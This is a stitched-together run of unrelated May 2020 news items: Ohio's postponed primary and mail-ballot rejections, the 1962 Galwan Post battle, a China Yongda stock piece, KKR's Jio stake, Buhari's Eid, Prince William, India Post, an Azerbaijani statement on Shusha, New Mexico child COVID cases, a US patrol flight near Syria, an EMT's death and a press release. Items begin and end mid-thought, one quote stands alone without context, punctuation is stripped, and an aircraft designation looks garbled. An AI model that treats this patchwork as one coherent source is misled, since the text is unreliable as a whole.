These are all elements of the triad that Aaron Ockerman, executive director of the Ohio Association of Election Officials, said is required to run a successful election: People, money and time.

The state came up short on all three in its primary election this year. Only hours before polls were set to open on March 17, Governor Mike DeWine, a Republican, postponed the primary. With the virus closing in, the states Department of Health director, Dr. Amy Acton, considered in-person voting too risky. More than a dozen other states postponed their primary dates this year, as well.

DeWine wanted to reschedule the primary for June 2. Instead, the state legislature voted unanimously to set it for April 28. The tighter timeline may have put primary challengers at a disadvantage relative to incumbents. It also prompted a scramble by election officials who had only weeks to manage the altered landscape. For their part, voters didnt have a lot of time to process the changes.

The state sent postcards to all 7.8 million registered voters with instructions on how to apply for an absentee ballot. Obtaining a ballot required multiple steps: printing a paper application from home, or calling the local elections board and requesting one by mail. After receiving an application for a ballot, a voter had to mail that in. Election officials would then mail voters an empty ballot with a postage-paid envelope. Voters had until April 27 to mail it in or drop it off at a county ballot box.

The change stressed election systems. We scraped by on money by borrowing from our November allocations, Ockerman explained. Unfortunately, we are now being asked to cut our budgets to help meet county revenue shortfalls. So the money crunch is just now coming to a head.

Ohio voters avoided the fate of their counterparts in Wisconsin. There, the state legislature objected to postponing the April 7 election or expanding vote-by-mail, which would have enabled voters to avoid congregating in person during a pandemic. The conservative majority on the state supreme court backed the Republicans in the legislature, and the conservative majority on the U.S. Supreme Court in turn echoed the state supreme court majority. The election proceeded as if there were no health emergency. Many Wisconsinites stood for hours in line waiting to cast a vote. Several dozen may have contracted Covid-19 in the process.

While Ohio voters were able to avoid long lines and exposure to disease, not everyone was able to exercise the franchise. Nationally, the rejection rate for absentee ballots is higher than that for in-person voting. In Ohio, some mail ballots went awry. In Lorain County, west of Cleveland, the county board of elections rejected 744 absentee ballots. Confusion among voters unaccustomed to voting by mail may have been one cause. There were 421 ballots rejected for missing the deadline; 64 for lacking an identifying envelope and return address; 57 for lacking a signature. In addition, 21 included the proper ID envelope, but the sender had failed to insert a ballot.

In Butler County, north of Cincinnati, officials rejected 318 ballots because of a delay in postal delivery. The ballots were postmarked by the April 27 deadline, but they arrived at the board of elections after the May 8 deadline for receiving ballots. These voters have effectively been disenfranchised in the Ohio primary election, Secretary of State LaRose wrote in a letter to the U.S. Postal Service.

The postal service is ill-prepared for November. It has been hit hard by the coronavirus, and as part of his political war on Washington Post owner and Amazon founder Jeff Bezos, Trump has threatened to withhold $10 billion in funds unless the postal service jacks up its package prices (thus damaging Bezoss business). On top of Trumps political attacks and a deadly pandemic, there are other complications. Consider just one detail: Vote-by-mail legislation invariably calls for mail to be postmarked by a date certain. Yet the postal service no longer postmarks every piece of mail.

LaRose had seen the mail problem coming. Before the primary election he had tried to get the postal service to commit to identifying, and speedily processing, election-related mail. When that failed, LaRose enlisted Ohios congressional delegation to pressure the postal service to temporarily increase staff in Ohio, add hours of operation and require managers to search facilities for unprocessed election-related mail.

The postal service agreed to make special provisions for the election. Some voters were disenfranchised all the same. With millions of mail ballots likely in November, the potential for dysfunction is high.

LaRose issued a 34-point check list for local boards of elections to enhance the security of their systems. He has held workshops on spotting disinformation and plans to set up a war room to monitor social media for it. And Ohio law now requires local post-election audits of elections.

Yet LaRose doesnt have the field to himself this November. Trump is busy sowing chaos and spreading falsehoods. And its hard to believe that a local election board, even with a 34-point checklist, would be much of a match for Russian agents determined to vandalize U.S. democracy in discrete, or even broad, attacks. Theres one more thing: Time is slipping away. The legislatures session officially ends in early June; LaRose needs action before legislators depart.

In many respects Ohio is lucky. Few doubt the democratic intentions of its chief election officer. He encourages voting. He is taking steps to manage a surge of mail-in ballots, increase administrative efficiency, defend against foreign sabotage and raise confidence in the eventual vote results. None of those actions is universally approved, let alone emulated, by state or national officials in his party.

Which only highlights how deep, and broad, the threat to the 2020 election really is. If its going to be rocky in Ohio  and given the confluence of challenges, it well may be  just imagine the turmoil that awaits elsewhere.

This column does not necessarily reflect the opinion of the editorial board or Bloomberg LP and its owners.

Francis Wilkinson writes editorials on politics and U.S. domestic policy for Bloomberg Opinion. He was executive editor of the Week. He was previously a writer for Rolling Stone, a communications consultant and a political media strategist.

For more articles like this, please visit us at bloomberg.com/opinion

Subscribe now to stay ahead with the most trusted business news source.

2020 Bloomberg L.P.
Every India-China crisis since 2013 has played to much the same script: a small local stand-off; a build-up of forces; a negotiated restoration of the status quo.

Five thousand five hundred metres above sea level, the Indian Air Force Mi4 medium-lift helicopter fought its way over the great ice sheets shrouding Ladakh, its single radial engine rendered asthmatic by altitudes its Soviet designers had never designed it to perform. Evading bursts of small-arms fire sent their way by Peoples Liberation Army patrols perched along the Galwan river, the pilots slowly made their way to the Indian Armys eastern-most outpost in Ladakh.

There was, the pilots would report that morning of 21 October, 1962, no sign of life: Galwan Post, Indias most remote outpost in Ladakh, had been obliterated.

Fifty-eight years on, PLA and Indian Army troops have again faced off at exactly that same place, where 68 soldiers of the 5th Battalion of the Jat Regimentwith no artillery or air support; short of ammunition, fuel and foodheld off almost an entire PLA Battalion, knowing there was no hope of either reinforcement or escape.

Galwan Post wasnt just a military tragedy: its loss, Indias official history of the 1962 war records demolished the assumptions that were the foundation of the Forward Policy, the governments strategy on China. Those misjudgments and missteps are now relevant as never before.



Exactly three years, to the date, before the battle of Galwan Post, Deputy Superintendent of Police Karan Singh had headed out into the Chang Chengmo river valley, running parallel to the Galwan to its south, searching for a group of three officers who had gone missing on patrol. His patrol was ambushed by the PLA near the Kongka pass; nine Indo-Tibetan Border Police personnel were killed. Beijings message was clear: it was drawing what it claimed to be the border with India in blood.

The Kongka clash of 1959 was, in fact, the beginning of the war of 1962. Prime Minister Jawaharlal Nehrus suggestions that both sides withdraw their posts and territories behind the boundary-lines they had exchanged in 1956 went nowhere.

Few military cards were held by India. The newly independent country, yet to begin significant industrialisation or even to recover from the desolation of Partition, simply did not have the resources for a full-scale military response. Large parts of the military, moreover, were committed to protecting the border with Pakistan.

Led by Intelligence Bureau chief BN Mullick, Indias security establishment crafted a response: the so-called Forward Policy. The army would set up small outposts to assert Indias claims. Even though the army was in no position to sustain these small deployments, Mullick and the army leadershipin the face of plenty of in-house scepticismwere confident China would not risk war to evict them.

In the summer of 1962, a PLA patrol through the Galwan valley discovered the Indian Army had beaten them to it: some 30 troops of the 1st Battalion of the 8 Gurkha Regiment had already set up a Forward Post. Even as a diplomatic protest note made its way to New Delhi, some 350 PLA troops surrounded the post on 10 June, closing into just 15 metres from its periphery two days later. Galwan was cut off.

Now, a strange contest began. PLA troops set up loudspeakers, calling on the Gurkhas to pull back, proclaiming Chinas peaceful intent, and arguing that the troops, being Nepali nationals, ought not to involve themselves in this war.

In September, as the cold set in, the Gurkhas were replaced by 5 Jat. Platoon-sized positions were established at Hot Spring, Nala Junction and Patrol Base, all leading up to the final outpost, Galwan Post.

The army made a last effort to resupply the Galwan outpost late that month, sending out a Yak convoy with rations, fuel and ammunition from Patrol Base. The PLA, though, turned back the convoy just half a kilometre from Galwan Post. Indian troops, with orders not to fire unless fired upon, had no choice but to turn back.

Galwan Post continued to be supplied by Mi4 helicopters, but, as the weather deteriorated supplies soon began running short. PLA positions, linked to their rear by Akai Chin highway across the Tibetan plateau, had no such problems.

The Generals, though, looked at the standoff with satisfaction: to them, Indias official war history records, it appeared that shown firmness, the Chinese yielded.

Early on the morning of 20 October, PLA troops attacked across the entire Ladakh sectorthe full fury of an entire battalion descending on Galwan Post. The story of what happened was assembled only after the end of the war when Indian prisoners of war were returned. Faced with intense artillery and mortar bombardment which levelled their ramshackle shelters inside minutes, the 68 troops of 5 Jat had fought to the last bullet, losing 36 of their number before the last positions were overrun late that evening.

Further back, too, posts demonstrated bitter resistance against overwhelming force, with Nala Post holding out for three days before receiving orders to retreat. In spite of heroic resistance, though, the Indian Army was only able to fight one proper organised battleat Chushuland the PLA was soon at the 1960 lines claimed by Beijing as the border.

The Forward Policy, PB Sinha and AA Athale wrote in the Ministry of Defences official assessment of the war, was possibly a necessary adjunct to the negotiations that went on between the Indian and Chinese sides from 1960 onwards. After the breakdown of talks, they argued, the Forward Policy became full of risks.

The push to set up posts, Sinha and Athale noted, was won by Chinajust as Western Command had predicted, only to find itself overruled by Army Headquarters. Indian strength ended up being scattered across the entire boundary: in trying to defend every inch, the Indians ended up losing much more than they need have.



Facile comparisons between 1962 and 2020 are certain to misleadbut one feature of both situations is of particular significance. The 1962 war, as historian Bertil Lintner has shown, was at its core a political performance, not the outcome of any geostrategic imperative. Indeed, Nikita Khrushchev, the Soviet Unions premier, had, attacked China at a 1959 meeting for failing to resolve the border issue, declassified documents show, predicting would serve only to push India towards the Western bloc.

Mao Zedong, the chairman of the Communist Party of China, hoped the nationalist display would divert attention from his dismal performance at home, and consolidate his hold over the PLA and the party.

Like Mao Zedong in 1962, President Xi Jinpinghis legitimacy increasingly in question as Chinas economy slowslikely sees border crisis as a political tool. For the most part, they are low-risk, high-yield opportunities to profit from nationalism: few countries, after all, are likely to see a gain in escalating a crisis with China.

The evidence suggests Prime Minister Narendra Modiwhose government has run the lowest military budgets, as a percentage of GDP, since the 1962 warunderstands this. The prime minister has shown India wont concede territory but has also avoided allowing the periodic crisis on Indias eastern borders to escalate.

But, as prime minister Nehru discovered in the build-up to 1962, nationalism has a life of its own. The ill-conceived Forward Policy, after all, was born of his need to show muscular resolve in the face of intense criticism in, and outside, Parliament.

Every India-China crisis since 2013 has played to much the same script: a small local stand-off; a build-up of forces; a negotiated restoration of the status quo. Each crisis, though, has engendered a growing tide of anti-China nationalist sentiment that constrains the prime ministers options. President Xi, enfeebled by a slowing economy, might, in turn, find it that much more difficult to be seen as backing down.

The next crisis, then, might have consequences leaders in both Beijing and New Delhi have neither anticipated nor desire. Prime Minister Modi and Indias military leadership ought to be thinking, with the utmost care, about where to go from here: even the slightest misstep, the path to the Galwan Post tragedy shows us, leads straight to the abyss.
Passive investing in index funds can generate returns that roughly match the overall market. But if you pick the right individual stocks, you could make more than that. To wit, the China Yongda Automobiles Services Holdings Limited (HKG:3669) share price is 36% higher than it was a year ago, much better than the market decline of around 7.9% (not including dividends) in the same period. So that should have shareholders smiling. Having said that, the longer term returns aren't so impressive, with stock gaining just 14% in three years.

Check out our latest analysis for China Yongda Automobiles Services Holdings

There is no denying that markets are sometimes efficient, but prices do not always reflect underlying business performance. One flawed but reasonable way to assess how sentiment around a company has changed is to compare the earnings per share (EPS) with the share price.

China Yongda Automobiles Services Holdings was able to grow EPS by 17% in the last twelve months. The share price gain of 36% certainly outpaced the EPS growth. This indicates that the market is now more optimistic about the stock.

The company's earnings per share (over time) is depicted in the image below (click to see the exact numbers).

SEHK:3669 Past and Future Earnings May 22nd 2020

We like that insiders have been buying shares in the last twelve months. Having said that, most people consider earnings and revenue growth trends to be a more meaningful guide to the business. Dive deeper into the earnings by checking this interactive graph of China Yongda Automobiles Services Holdings's earnings, revenue and cash flow.

What about the Total Shareholder Return (TSR)?

Investors should note that there's a difference between China Yongda Automobiles Services Holdings's total shareholder return (TSR) and its share price change, which we've covered above. The TSR is a return calculation that accounts for the value of cash dividends (assuming that any dividend received was reinvested) and the calculated value of any discounted capital raisings and spin-offs. China Yongda Automobiles Services Holdings's TSR of 41% for the year exceeded its share price return, because it has paid dividends.

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A Different Perspective

It's nice to see that China Yongda Automobiles Services Holdings shareholders have received a total shareholder return of 41% over the last year. Since the one-year TSR is better than the five-year TSR (the latter coming in at 7.5% per year), it would seem that the stock's performance has improved in recent times. Given the share price momentum remains strong, it might be worth taking a closer look at the stock, lest you miss an opportunity. It's always interesting to track share price performance over the longer term. But to understand China Yongda Automobiles Services Holdings better, we need to consider many other factors. For instance, we've identified 2 warning signs for China Yongda Automobiles Services Holdings that you should be aware of.

China Yongda Automobiles Services Holdings is not the only stock insiders are buying. So take a peek at this free list of growing companies with insider buying.

Please note, the market returns quoted in this article reflect the market weighted average returns of stocks that currently trade on HK exchanges.

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Reliance Industries Limited (RIL) on Friday announced that private equity firm KKR will invest Rs 11,367 crore in Jio Platforms for a 2.32 per cent stake.

This will be the fifth investment in RIL in succession, following those by social media major Facebook, private equity funds Silver Lake, Vista Equity Partners and General Atlantic.

This transaction values Jio Platforms at an equity value of Rs4.91 lakh crore and an enterprise value of Rs5.16 lakh crore. This is KKRs largest investment in Asia and will translate into a 2.32 per cent equity stake in Jio Platforms on a fully diluted basis, RIL said in a release on Friday.

With the latest deal, Jio Platforms will get a combined Rs 78,562 crore from the five investments. The RIL unit comprises mostly its telecom business under Reliance Jio Infocomm, which is the largest in the country with more than 388 million subscribers.

Chairman and Managing Director Mukesh Ambani in a statement on Friday said, KKR shares our ambitious goal of building a premier Digital Society in India. KKR has a proven track record of being a valuable partner to industry-leading franchises and has been committed to India for many years. We are looking forward to leveraging KKRs global platform, industry knowledge and operational expertise to further grow Jio.

The transaction is subject to regulatory and other customary approvals, the company said.

Prior to this, General Atlantic on May 18 said it will buy 1.34 per cent stake in Jio Platforms for Rs 6,598.38 crore, while Vista Equity Partners said on May 8 it will be picking up a 2.32 per cent stake for Rs 11,367 crore.

Prior to that, US private equity firm Silver Lake said it will invest Rs 5,655.75 crore in Jio Platforms for a 1.15 per cent stake and on April 22, Facebook said it would invest USD 5.7 billion for a 9.99 per cent stake.

RIL opened its Rs 53,215 crore rights issue for subscription on Monday in an effort to achieve debt-free status in close to a year.

The total capital raised by RIL after its last four deals amounted to Rs 1,20,320 crore. The company had total debt of Rs 1,61,035 crore at the end of FY 20.

As part of the proposed rights issue, RIL shareholders were offered a new share for every 15 held at Rs 1,257 a share. This is the first rights issue by RIL in three decades. The issue was structured as partly paid shares and enabled shareholders to phase out the outlay on their investment over a period of time.

Henry Kravis, Co-Founder and Co-CEO of KKR, in a statement on Friday said, Few companies have the potential to transform a countrys digital ecosystem in the way that Jio Platforms is doing in India, and potentially worldwide. Jio Platforms is a true homegrown next generation technology leader in India that is unmatched in its ability to deliver technology solutions and services to a country that is experiencing a digital revolution. We are investing behind Jio Platforms impressive momentum, world-class innovation and strong leadership team, and we view this landmark investment as a strong indicator of KKRs commitment to supporting leading technology companies in India and Asia Pacific.

KKR has a long history of building leading global enterprises and successfully investing in businesses in the technology sector, including BMC Software, ByteDance and GoJek through its private equity and technology growth funds. Since inception, the firm has invested over USD 30 billion (total enterprise value) in tech companies, and today the firms technology portfolio has more than 20 companies across the Technology, Media and Telecom sectors.
President Muhammadu Buhari will observe his eid prayers with his family at home, the presidency has said.

The eid is an Islamic prayer, ideally said in large congregations, at the end of the Ramadan fast. Apart from the prayer, feasts and celebrations are also held to mark the end of Ramadan.

The eid is expected to be held on Saturday or Sunday across the world.

This years eid is being held amidst the coronavirus that has caused thousands of deaths globally including over 200 in Nigeria.

Nigeria, like many countries around the world, has imposed movement restrictions and banned large gatherings to check the spread of the virus.

The full statement from the presidency on how Mr Buhari will celebrate the eid is reproduced below.

PRESIDENT BUHARI TO OBSERVE EID WITH FAMILY AT HOME

With the Eid-el-Fitr celebrations around the corner and the month-long Ramadan fast coming to an end, President Muhammadu Buhari will be conducting his Eid prayers with his family at home.

This is in observance of the lockdown measures in the Federal Capital Territory, Abuja, put in place to save lives and protect people from all dangers.

This is also in line with the directive of the Sultan of Sokoto and President General of the Jamaatu Nasril Islam (JNI), Alhaji Saad Abubakar III suspending Eid congregational prayers across the country as well as the protocol against mass gathering issued by the Presidential Task Force on COVID-19.

Further to this, the President who has traditionally shared the joyous moment with top government officials, political leaders, community heads, Muslim and Christian religious leaders and children, will not be receiving these homages in a bid to stop the coronavirus from further spreading.

Garba Shehu

Senior Special Assistant to the President
He also denied state capture allegations saying: At Sakunda, we do not feel that we have captured the State. We only feel that we have used our best skills to respond to a national request to revamp the grain situation in this country. We believe we responded to the list of suppliers used by the Agriculture ministry and worked within the price parameters. One does not capture the State, but they do the best they can to address the challenges.
Prince William has opened up about the challenges of dealing with his children. The father of three revealed that even though he is a royal, he is still a normal parent who struggles to get his kids finish their dinner.

Dinnertime Struggle

The members of the royal family are not exempted from the struggles of raising children. While they may look like they live perfect lives, royal parents Prince William and Kate Middleton have their share of parenting challenges, too.

The Duke of Cambridge revealed on Wednesday that their dinnertime scenario depends a lot on what is on the menu. The 37-year-old father shared details of their family life during his video call with PEEK Project, a charity known to provide hundreds of meals each day to families who have been greatly affected by the coronavirus pandemic.

Community chef Charlie Farally told William how the charitable institution has greatly helped parents at this time.

"You'll know yourself - the hardest time is dinnertime," Farrelly said.

To which Prince William laughed in agreement. "It depends on what's on the table though Charlie, isn't it? And that's the thing. If parents put something on that children's love, dinnertime goes on very well."

Prince William added, "but if you put something on the table they don't want to do, that's another ball game."

Although he is in quarantine with his family in their home in Norfolk, England, the Duke of Cambridge and his wife have continued to perform their royal duties.

Prince William and Kate share three kids namely Prince George, 6, Princess Charlotte, 5, and Prince Louis, 2. The couple has been very open about their lives while in quarantine. In fact, royal experts admit that the revelations William and Kate have shared about their family make them even more relatable to the public.

Their sincere honesty has somehow bridged the gap between the royals and the commoners. Their dinnertime struggle is definitely one fact that every parent could relate to.

Future King

Prince William is set to be the future king of the British monarchy, and it looks like he has been preparing for this role all his life.

The Duke and Duchess of Cambridge have championed in keeping the nation's spirits up amid the coronavirus pandemic. They have stepped up their game and became the face of the monarchy while the older members of the royal family continue to be in self-isolation.

In his most recent interview for a BBC One documentary exclusive, Prince William admitted that the ride to being the future leader of the monarchy won't be an easy one. He then noted one of the biggest challenges he faces as king: modernizing the royal family

"I think the royal family has to modernize and develop as it goes along. It has to stay relevant," Prince William said to Nicholas Witchell of the Radio Times. "That's the challenge for me."

However, it is worth noting that recent events have shown the lengths he is willing to go in order to establish a relationship between the monarchy and the world.

Both Prince William and Kate Middleton have utilized video calls to speak to various people and institutions. Apart from the inspiring messages of gratitude and strength, the couple has also taken the calls as an opportunity to move their vision forward.

In the future, Prince William remains hopeful that he would be able to create a path that will truly connect the monarchy to the people.
The experience gained by Postal Department from distribution of medicines and essential items during coronavirus crisis has created an opportunity for it to scale up the model, Communications Minister Ravi Shankar Prasad has said.

The minister urged India Post to position itself as flagbearer of an Indian supply chain through which tele-medicine, agri-products, and other items can directly be connected from producer to buyer.

The minister, who reviewed the activities and efforts of Department of Posts during COVID-19 crisis through video conferencing, said that the Dakiya should also become first resource for collecting database of migrants, their skill sets, opening of their accounts and facilitate payments under MGNREGA and other government schemes.

During the video conferencing, certain innovative models of service delivery and promoting regional specialities were shared by the Chief Postmaster Generals, an official statement said.

"Jammu and Kashmir has finalised delivery of Prasad of Mata Vaishno Devi Temple and Saffron from Kashmir across the country shortly", it added.

The statement said that the minister also spelt out the various priority areas in post-COVID situation for the Department, and emphasised that experience gained from distribution of medicines and essential items during coronavirus period has created an opportunity to scale-up the model.

He asked India Post to prepare strategic plan, incorporating suggestions from the field, to become flagbearer of an Indian Supply Chain through which tele-medicine, agri-products, handicrafts, artisan products and other local specialities can be connected from producer to ultimate buyer eliminating the middleman.

Sanjay Shamrao Dhotre, Minister of State of Communications, PK Bisoi Secretary, Posts, and other senior officers of the Department also attended the videoconferencing. All the Chief Postmaster Generals attended through review meeting from respective circle headquarters.

The efforts of India Post to ensure delivery of medicines and other essential items during the coronavirus pandemic was highlighted, the statement said adding that more than 2,000 tonnes of medicines and medical equipment were booked and delivered to needy individuals and hospitals across the country.

"Road Transport Network running more than 25,000 km daily and carrying more than 75 tonnes of mails and parcels was introduced to strengthen the supply chain.

Around Rs 1,500 crore disbursed at the door step using Aadhaar-enabled Payment System (AePS) of India Post Payment Bank to around 85 lakh beneficiaries, the statement said.

Other highlights included 75 lakh electronic money orders (EMO) payments made under various schemes of financial inclusion worth Rs 760 crore; Direct Benefit Transfers (DBT) payments worth Rs 1100 crore disbursed in beneficiary accounts; and around 6 lakh food and ration packets were distributed to labourers, municipal workers through self-contribution and in association with NGOs.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
FIRST - 21 May 2020 13:15 (UTC+04:00)

BAKU, Azerbaijan, May 21

Trend:

The so-called inauguration ceremony organized in the occupied Azerbaijani city of Shusha, has no legal basis, Head of the Azerbaijani community of the Nagorno-Karabakh region of Azerbaijan, MP Tural Ganjaliyev said, Trend reports on May 21.

In connection with the so-called "inauguration" ceremony, I, as the head of the Azerbaijani community of the Nagorno-Karabakh region of Azerbaijan and the elected representative, declare that the results of the "election show", which the entire international community did not recognize, have no legal basis, and the legitimacy of any structure and person as a result of these "elections" is out of the question, Ganjaliyev noted.

This illegal ceremony is a provocation aimed at disrupting the Armenia-Azerbaijan negotiation process. The Armenian authorities systematically carry out such provocative actions, and this openly demonstrates their choice of occupied Shusha for this illegal event. Moreover, the illegal visit of the Armenian PMs Nikol Pashinyan to the occupied Azerbaijani territories and personal participation in a provocation harmful to the peace talks, shows only the two-facedness of the Armenian leadership when it talks about peace. This step of Armenia is offensive towards Azerbaijan's internally displaced persons (IDPs), who suffered from ethnic cleansing in the occupied territories of Azerbaijan, a blow to the peaceful settlement of the conflict, it absolutely contradicts the preparing peoples for peace intention announced at the meeting of the Foreign Ministers of Azerbaijan and Armenia in January 2019, said the MP.

He pointed out that Armenia's provocations once again prove that the government of this country isn't interested in peaceful settlement of the conflict, and its actions serve to escalate the situation in the region.

The Armenian-Azerbaijani conflict can be resolved by ensuring withdrawal of the Armenian armed forces from the occupied Azerbaijani territories, worthy of the return of all Azerbaijani IDPs to their homes and the peaceful coexistence of the Armenian and Azerbaijani communities of the Nagorno-Karabakh region within internationally recognized borders Azerbaijan. Only after these steps, fair and lasting peace can be ensured in the region, the head of the community added.

Ganjaliyev called on the international community, in particular, the OSCE Minsk Group co-chairs, to give the necessary assessment and condemn this provocation of Armenia.

The conflict between the two South Caucasus countries began in 1988 when Armenia made territorial claims against Azerbaijan. As a result of the ensuing war, Armenian armed forces occupied 20 percent of Azerbaijan, including the Nagorno-Karabakh region and seven surrounding districts.

The 1994 ceasefire agreement was followed by peace negotiations. Armenia has not yet implemented four UN Security Council resolutions on the withdrawal of its armed forces from Nagorno Karabakh and the surrounding districts.
Copyright  2020 Albuquerque Journal

SANTA FE  An increasing percentage of New Mexicos coronavirus cases are children and teenagers  a particular concern because of their potential to spread the virus, doctors say, even without showing symptoms.

About 13% of the states COVID-19 infections  confirmed by testing  are people who are 19 or younger, a jump from just 7% a few weeks ago, state officials say.

Children are more likely than adults to have mild symptoms or even no symptoms at all. But they can still spread the virus, health experts say, a potential challenge if theyre visiting, say, grandparents or older caregivers.

In an interview, Dr. John Pederson, childrens program medical director at Presbyterian Healthcare Services, encouraged parents to keep their kids at home as much as possible amid the pandemic  for their own protection and to avoid spreading the disease to more vulnerable people.

He also suggested taking steps to ease kids anxiety about the disease, teaching them how to wash their hands properly and helping them wear masks when out in public.

I think its important for parents to know that their child could be asymptomatic and have the disease, Pederson said. Kids, he added, are not particularly good at hand hygiene and are not particularly good at not touching surfaces.

In New Mexico, children appear to comprise a higher percentage of virus cases than they do in other states. There isnt an obvious explanation why, and it could simply be a result of the states aggressive testing strategy.

Nonetheless, New Mexicos percentage of cases involving children is roughly four times higher than the national average, state health officials say. New Mexico, in fact, is No. 2 in the country by that standard, just behind Wyoming.

This is becoming a big issue here in New Mexico right now, Human Services Secretary David Scrase said in a recent public briefing.

Health experts said it isnt clear why New Mexicos cases involving children are so high. It could be that other communities arent testing the same cross-section of their population as New Mexico.

Pederson, for his part, said Presbyterian hasnt treated many children in a hospital setting for COVID-19. But kids can be particularly challenging, he said, when it comes to limiting the spread of the disease.

The role kids play in spreading COVID-19 is still a matter of scientific research.

Janis Gonzales, a physician and chief of the family health bureau at the state Department of Health, said there was concern earlier this year that children were a driving factor in the rapid spread of the disease. But more recent research suggests that may not be true, she said, because children arent usually the first person in a household to get the disease.

In other words, they may be getting it from adults rather than the other way around.

Things have been changing so quickly with our understanding of the disease, Gonzales said. There are new studies coming out every day.

At this point, the U.S. Centers for Disease Control and Prevention warns parents that children may pass the disease to older adults and other at-risk individuals.

If children meet in groups, it can put everyone at risk, the agency says on its website.

In a public briefing Wednesday, Gonzales said about half the children in New Mexico who test positive for the virus dont show any symptoms. About 40% have mild symptoms, less than 10% have severe symptoms and 1% to 2% end up hospitalized.

No one under 20 has died.

Pederson encouraged parents to watch for anxiety in their children about COVID-19. It can be empowering for kids to address their fears by taking action, such as learning to wash their hands properly and frequently, or writing a letter to a frontline health care provider.

Parents, Pederson said, should also ensure their kids are getting accurate information from trusted sources, such as the CDC, American Academy of Pediatrics and state Department of Health.

I think its very important that for our kids, Pederson said, we help guide them to the right source.

Scrase said children may have different COVID-19 symptoms than adults. He encouraged parents to watch for nausea, vomiting and diarrhea, especially if one of those symptoms is accompanied by a fever.

Its important to get on that early and get the kids tested, Scrase said.

Gonzales, meanwhile, urged parents to continue taking their kids to the doctor for regular checks-ups and immunizations.

The (medical) offices are as safe as they possibly can be, she said. Pediatricians really do want to see these children.
Russia has tracked the progress of a US military plane, as it travelled from Cyprus to Russia's Hemeimeem Airbase, but did not engage writes Al-Masdar.

For the second time in a week, a US reconnaissance aircraft has been spotted near the Syrian coastal governorate of Lattakia.

According to reports, a US Navy P-9A Poseidon aircraft conducted a flight between Cyprus and Syria before returning back to its home base.

The US aircraft was said to have closely approached Russias Hemeimeem Airbase, which is located in the southwestern part of Lattakia Governorate.

Unlike previous encounters in April, the Russian Air Force did not deploy its Su-35 jet to intercept the US aircraft in the eastern part of the Mediterranean region.

The Russian militarys S-400 air defense system is currently active at the Hemeimeem Airbase, so it is highly unlikely that they are not tracking these flights.

While it is common for US aircraft conducted flights in the eastern Mediterranean, it appears that they have increased the frequency of these flights over the last ten days.

This article was edited by The Syrian Observer. The Syrian Observer has not verified the content of this story. Responsibility for the information and views set out in this article lies entirely with the author.
UPDATE: EMT who died at 40 after coronavirus battle recalled as veteran, father, volunteer

Jeremy Emerich, a critical care EMT on the ground for Lehigh Valley Health Networks MedEvac, died Thursday following a battle with COVID-19, friends and coworkers said on social media.

Emerich was also a U.S. Armed Forces veteran and an active firefighter in Fleetwood, the Berks County community where he lived with his companion, Shana Konek. He was 40.

His death comes about six weeks after his brother, 30-year-old Reading resident Liborio Lara, died -- also from the coronavirus illness, The Reading Eagle reported.

Emergency responders from across the region lined Route 222 on Thursday afternoon as Emerichs remains were taken to Bean Funeral Home in Sinking Spring, Berks County, which handled arrangements for Lara, as well. A MedEvac helicopter joined the procession overhead.

It is with the deepest sadness and regret we announce the death of Critical Care EMT Jeremy Emerich, Bryan Evans, manager of MedEvac/emergency transport operations and business development at LVHN, wrote Thursday on Facebook. Jeremy has been hospitalized and fought valiantly until this morning.

Another post from May 15 revealed Emerich had been in critical condition as he battled COVID-19.

"COVID19 is very real," Evans posted earlier this week. "It has devastating impacts that are not just in nursing homes or the elderly."

Members of the MedEvac team had posed with a banner reading, "Jeremy You Got This MedEvac Strong," for a photo that was posted to the helicopter transport's Facebook page on Sunday.

"We are deeply saddened by the passing of our colleague, Jeremy, and want to express our sincere condolences to his family," Lehigh Valley Health Network said in a statement Thursday provided by spokesman Brian Downs. "He served the community selflessly in various capacities as a first responder for many years and was an outstanding member of the LVHN MedEvac team the past seven years."

A gofundme.com account has been set up to help with Emerichs medical expenses related to his hospitalization.

Lehigh Valley Health Network MedEvac EMT Jeremy Emerich is seen in a photo from gofundme.com account set up to help with his medical costs. Emerich died Thursday, May 21, 2020, following a battle with COVID-19, which also claimed his brother the month prior.Courtesy photo | For lehighvalleylive.com

Emerich was among those recognized with the 2016 Valley Preferred Spirit of Courage awards presented at Lehigh Valley Hospital-Muhlenberg in Bethlehem. He was among the emergency responders who got a disabled man through a window as a fire engulfed the mans home.

Pennsylvania as of Thursday had 65,392 confirmed cases of COVID-19, with a death toll of 4,869 since the states first patients were diagnosed March 6.

As new cases continue to drop statewide, some counties have begun transitioning from an economic shutdown and stay-at-home orders to a limited reopening.

Our journalism needs your support. Please subscribe today to lehighvalleylive.com.

Kurt Bresswein may be reached at kbresswein@lehighvalleylive.com.
CLEVELAND, May 22, 2020 /PRNewswire/ -- The DiJulius Group, one of the world's leading authorities on customer service and customer experience, is giving small businesses, that have been affected by the quarantine, free customer service training for all their employees.

The DiJulius Group works with companies like The Ritz-Carlton, Lexus, Starbucks, Nordstrom, Chick-fil-a, Nestle, Marriott Hotel, PWC, Celebrity Cruises, Progressive Insurance, and many more, to help them continue to raise the bar and set the standard in service that consistently exceeds customer expectations.

"We want to help as many small businesses as we can to get back on their feet as quickly as possible," says John DiJulius, President of The DiJulius Group and best-selling author of five books on customer service. "We know small businesses typically don't have the time, manpower or budget to train all their employees on the soft skills they would like them to have. We also know that now is a great time for these businesses to take advantage of the extra down time and use it to train their employees. This way, when they reopen, they can stand out by providing a world-class customer experience that will blow their customers away. Helping them rebuild their businesses and brand identity in their community."

Name of training: My Customer Experience Trainer  Customer Service Training (Video) for Customer Facing Employees That Will Help Them Provide A World-Class Experience

Purpose: For small businesses who typically don't have the time or resources to train their new and existing employees on soft skills that are key to differentiating their brand from their competition. This can be used not only for existing employees but for new and future employees during their orientation.

What types of businesses: Independent, non-franchised, single location small businesses, under $5M in annual revenue. (Companies who are not eligible that are over $5M or part of a franchise system can receive a complimentary call with a Customer Experience Consultant)

Visit The DiJulius Group website to access this free training:

https://thedijuliusgroup.com/free-my-customer-experience-trainer/

The DiJulius Group is a customer experience consulting firm based in Cleveland, Ohio and founded by best-selling author, John DiJulius. The DiJulius Group provides on site and virtual consulting services, keynotes, CX leader training and workshops. They also produce The Customer Service Revolution conference and Customer Service Revolution podcast.

Press contact: Denise Thompson, The DiJulius Group, [email protected], 440.443.0023

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- William & Mary Law School, the oldest Law School in the United States, has just hired its first black dean

- The school was established in the 18th century in 1779

- Currently, the new dean is the Justice Thurgood Marshall Distinguished Professor of Law at the University of Virginia School of Law

Our Manifesto: This is what YEN.com.gh believes in

